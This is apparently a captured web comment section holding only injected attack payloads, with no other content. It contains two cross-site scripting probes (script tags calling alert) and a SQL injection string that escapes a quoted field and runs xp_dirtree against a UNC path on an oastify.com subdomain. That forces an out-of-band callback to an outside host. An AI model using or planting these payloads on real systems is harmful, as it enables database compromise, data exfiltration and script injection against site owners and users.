<script>alert(1)</script>';declare @q varchar(99);set @q='\\n0o6b88tap7mov86mfujjb3xfolh9gx7ovgi86x.oasti'+'fy.com\eft'; exec master.dbo.xp_dirtree @q;--

<script>alert(2)</script>

Login to post a comment